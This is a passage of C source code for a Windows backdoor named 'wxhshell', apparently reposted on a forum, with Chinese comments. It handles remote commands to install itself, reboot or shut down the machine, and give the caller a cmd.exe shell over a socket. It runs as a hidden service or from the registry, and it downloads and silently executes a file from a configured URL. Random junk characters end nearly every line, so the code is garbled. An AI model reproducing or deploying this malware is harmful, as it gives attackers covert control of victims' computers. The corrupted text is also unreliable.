  // 安装 ?8/h3xV;  
  case 'i': { _\[G7  
    if(Install()) ,oil}N(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1>{(dd?L  
    else 2N]s}/l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8m0sEV>  
    break; >S]')O$c  
    } V|`|CVFo]  
  // 卸载 Zv93cv  
  case 'r': { VV0$L=mo  
    if(Uninstall()) B8Z66#EQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [l:.Q?? )|  
    else Mr(3]EfgO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e:<> Yq+  
    break; uU s>/+  
    } `Mg "!n`  
  // 显示 wxhshell 所在路径 eo[^ij  
  case 'p': { 7m:,-xp  
    char svExeFile[MAX_PATH]; E .5xzY  
    strcpy(svExeFile,"\n\r"); }XU- J An  
      strcat(svExeFile,ExeFile); UJ:B:hh''  
        send(wsh,svExeFile,strlen(svExeFile),0);  j C?  
    break; (0S7  
    } l<?wB|1'  
  // 重启 NBX/V^  
  case 'b': { *Yw6UCO  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R#M).2::  
    if(Boot(REBOOT)) wxxC&!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F^-4Pyq@  
    else { jK53-tF~I  
    closesocket(wsh); ;*p} ~#2  
    ExitThread(0); Q{60^vg  
    } 7j8_O@_  
    break; `RRORzXoS  
    } P9vROzXK  
  // 关机 [G*mQ@G9  
  case 'd': { ;U&VPIX$  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z)%p,DiNM  
    if(Boot(SHUTDOWN)) e`^j_V nEH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |~Iw   
    else { F ReK  
    closesocket(wsh); T*m_rDDt  
    ExitThread(0); 9`AQsZ2  
    } U^D7T|P$V  
    break; om6R/K  
    } ,fn=%tiUk  
  // 获取shell }=gGs  
  case 's': { RU=%yk-gM  
    CmdShell(wsh); &3V4~L1aEg  
    closesocket(wsh); g,nEiL  
    ExitThread(0); XJ9>a-{  
    break; 2Z~o frj  
  } it$~uP |  
  // 退出 ~WSC6Bh@9  
  case 'x': { |wx1 [xZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); al/~  
    CloseIt(wsh); c@`P{ 6  
    break; Wj&s5;2a  
    } &n|gPp77$  
  // 离开 *O~D lf  
  case 'q': { G`jhzG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >\ W" 3.  
    closesocket(wsh); 0dW1I|jR  
    WSACleanup(); 9EEHLx"  
    exit(1); K4"as9oFP  
    break; }O/Nn0,  
        } E2MpMR  
  } aH_&=/-Tz  
  } Dp8(L ]6  
 ~$B ,K]  
  // 提示信息 Iu8=[F>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P1<;:!8'  
} .JE7vPv%!  
  } H UjmJu6f{  
rYl37.QE  
  return; !wgj$5Rw.  
} )'JSu=Ej  
/.r($S g^  
// shell模块句柄 B}W^s;h  
int CmdShell(SOCKET sock) 1K>4 i. X  
{ Rjf |  
STARTUPINFO si; ?k#% AM  
ZeroMemory(&si,sizeof(si)); 8Bhng;jX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u8*0r{kOH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m N{$z<r  
PROCESS_INFORMATION ProcessInfo; dn Xc- <  
char cmdline[]="cmd"; +]#>6/2q  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3; A1[E6K  
  return 0; y$ WS;#  
} jVDNThm+  
1na[=Q2  
// 自身启动模式 g!$ "CX%8  
int StartFromService(void) a <3oyY'  
{ ^P[*yf  
typedef struct _R]h]<TQ  
{ bWqGy pq4  
  DWORD ExitStatus; QO8/?^d  
  DWORD PebBaseAddress; ]@xc9 tlG  
  DWORD AffinityMask; +=R:n^r^,  
  DWORD BasePriority; ?NL2|8  
  ULONG UniqueProcessId; ~'ovJ46tx  
  ULONG InheritedFromUniqueProcessId; XP'KgTF  
}   PROCESS_BASIC_INFORMATION; ]n+:lsiV  
HN:{rAIfc  
PROCNTQSIP NtQueryInformationProcess; }~7>S5  
$hL0/T-m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; m2;%|QE(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <^=k~7m  
PSRGlxdO  
  HANDLE             hProcess; JOMZ&c^  
  PROCESS_BASIC_INFORMATION pbi; zVIzrz0  
! `SR$dnE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <C&UD j  
  if(NULL == hInst ) return 0; nJ,56}  
Ac|`5'/Tx  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o` e~1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }Eav@3h6  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); P5N"7/PfW  
DT*/2TH*l  
  if (!NtQueryInformationProcess) return 0; RR"#z'zQ  
r )T`?y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t*COzE  
  if(!hProcess) return 0; [\VzI\vb  
0xC!d-VIJ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zmdOL9"a  
.8"o&%$`V  
  CloseHandle(hProcess); {S|uQgs6j  
2uB.0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cJt#8P  
if(hProcess==NULL) return 0; rTi.k  
^#G>P0mG%  
HMODULE hMod; })J]D~!p  
char procName[255]; wtZe\ h  
unsigned long cbNeeded; 9U+^8,5  
U*-%V$3+w5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); kr3ZqMfeI  
l!oU9  
  CloseHandle(hProcess); '8dqJ`Gj  
pPIH`Iq  
if(strstr(procName,"services")) return 1; // 以服务启动 Va1|XQ<CL  
9Vp$A$7M  
  return 0; // 注册表启动 }>grGr%oR  
} lY6U$*9c  
&oT]ycz%  
// 主模块 UOa{J|k>h  
int StartWxhshell(LPSTR lpCmdLine) Q} / :  
{ v'|Dj^3[  
  SOCKET wsl; }+SnY8A=KZ  
BOOL val=TRUE; b7\nCRY  
  int port=0; 3c6<JW  
  struct sockaddr_in door; le*pd+>j  
W] RxRdY6[  
  if(wscfg.ws_autoins) Install(); -q-%)f  
k(T/yd rw  
port=atoi(lpCmdLine); _mcD*V  
P/^:IfuR  
if(port<=0) port=wscfg.ws_port; Orz Dr  
r> NgJf,  
  WSADATA data; \;Ii(3+v;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J&lQ,T!?B  
T'w=v-(J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oqG 0 @@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <}|+2f233+  
  door.sin_family = AF_INET; u\6:Txqq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); PyIIdTm  
  door.sin_port = htons(port); IuRKj8J)o  
XrYz[h*)!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6}[W%S]8  
closesocket(wsl); (;!&RZ  
return 1; yXl zImPn  
} 'GAjx{gM  
,KZ_#9[>  
  if(listen(wsl,2) == INVALID_SOCKET) { X.g1 312~  
closesocket(wsl); 0'a.Ypf  
return 1; {AJs pLcG  
} {"O'kx  
  Wxhshell(wsl); si)920?E&  
  WSACleanup(); \vKMNk;kz  
~]}7|VN.}  
return 0; PE3l2kr  
mhh8<BI  
} 92XzbbLp  
iQ:]1H s  
// 以NT服务方式启动 f\1)BZ'I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nd-y`@z  
{ %|4Nmf$:Og  
DWORD   status = 0; `NrxoU=  
  DWORD   specificError = 0xfffffff; ]Rz]"JZ\S  
$dq R]'  
  serviceStatus.dwServiceType     = SERVICE_WIN32; e3&R3{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; {5:y,=Y  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &d=j_9   
  serviceStatus.dwWin32ExitCode     = 0; YMC*<wXN  
  serviceStatus.dwServiceSpecificExitCode = 0; |]^OX$d  
  serviceStatus.dwCheckPoint       = 0; vWwp'q  
  serviceStatus.dwWaitHint       = 0; Xn4U!<RT"  
}VdohX-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jeC3}BL }  
  if (hServiceStatusHandle==0) return; DjtUX>e  
nT9B?P>  
status = GetLastError(); &Zd! |u  
  if (status!=NO_ERROR) h8Kri}z;M  
{ 6!O~:\`DJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a3JG&6-  
    serviceStatus.dwCheckPoint       = 0; !fjDO!,!  
    serviceStatus.dwWaitHint       = 0; Kh}#At^C8e  
    serviceStatus.dwWin32ExitCode     = status; 5^*I]5t8  
    serviceStatus.dwServiceSpecificExitCode = specificError; Y@F@k(lOo  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c:M~!CXO  
    return; )y_MI r  
  } eNpGa0 eG  
an=8['X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *e!0ZB3J  
  serviceStatus.dwCheckPoint       = 0; b v~"_)C  
  serviceStatus.dwWaitHint       = 0; P;{f+I|`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )mS Aog<  
} gm\P`~+o  
>`SIB; &>j  
// 处理NT服务事件,比如:启动、停止 "I}3*s9Q-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 44b;]htv  
{ Z-.`JkKd8  
switch(fdwControl) m o nqaSF  
{ 8 Ys DE_  
case SERVICE_CONTROL_STOP: wHvX|GwMv  
  serviceStatus.dwWin32ExitCode = 0; V`m'r+ Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; *{/BPc0*  
  serviceStatus.dwCheckPoint   = 0; txw:m*(%  
  serviceStatus.dwWaitHint     = 0; 4DaLmQ2O  
  { 9])dLL0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q!iM7C!8  
  } 3[amCKel  
  return; @))PpE`co8  
case SERVICE_CONTROL_PAUSE: 2c LIz@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tU.Y$%4  
  break; 7='lu;=,  
case SERVICE_CONTROL_CONTINUE: M3!A?!BU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |9Q4VY'";  
  break; <!Ed ND=  
case SERVICE_CONTROL_INTERROGATE: Z.ky=vCt  
  break; TFjb1 a,)  
}; %7 7v'Pz1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l03{ ezJk[  
} bj=kqO;*O  
<k+dJ=f  
// 标准应用程序主函数 KLrxlD4\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^"STM'Zh  
{ ZF!cXo7d  
f .-b.nNf  
// 获取操作系统版本 FCgr  
OsIsNt=GetOsVer(); F9IrbLS9c  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7u73v+9qn:  
|WwC@3)  
  // 从命令行安装 gqJSz}'  
  if(strpbrk(lpCmdLine,"iI")) Install(); H0r@dn  
I7,5ID4pn  
  // 下载执行文件 R~ n[g  
if(wscfg.ws_downexe) { P'MfuTtT&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )_BQ@5NK  
  WinExec(wscfg.ws_filenam,SW_HIDE); f9ux+XQk9  
} k+b!Lw!L  
jwhc;y  
if(!OsIsNt) { dxfF.\BFDn  
// 如果时win9x,隐藏进程并且设置为注册表启动 /vO8s??  
HideProc(); =z#6mSx|W  
StartWxhshell(lpCmdLine); i[_B~/_  
} '-c *S]:r  
else /6",#B}%b  
  if(StartFromService()) |7ct2o~un  
  // 以服务方式启动 imw,Nb  
  StartServiceCtrlDispatcher(DispatchTable); "%]<Co<S  
else HueGARS  
  // 普通方式启动 ;+C2P@M  
  StartWxhshell(lpCmdLine); PgHe;^?j  
5argw+2s4$  
return 0; tZ\e:AAi  
}
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只看该作者 1 发表于: 2006-10-10
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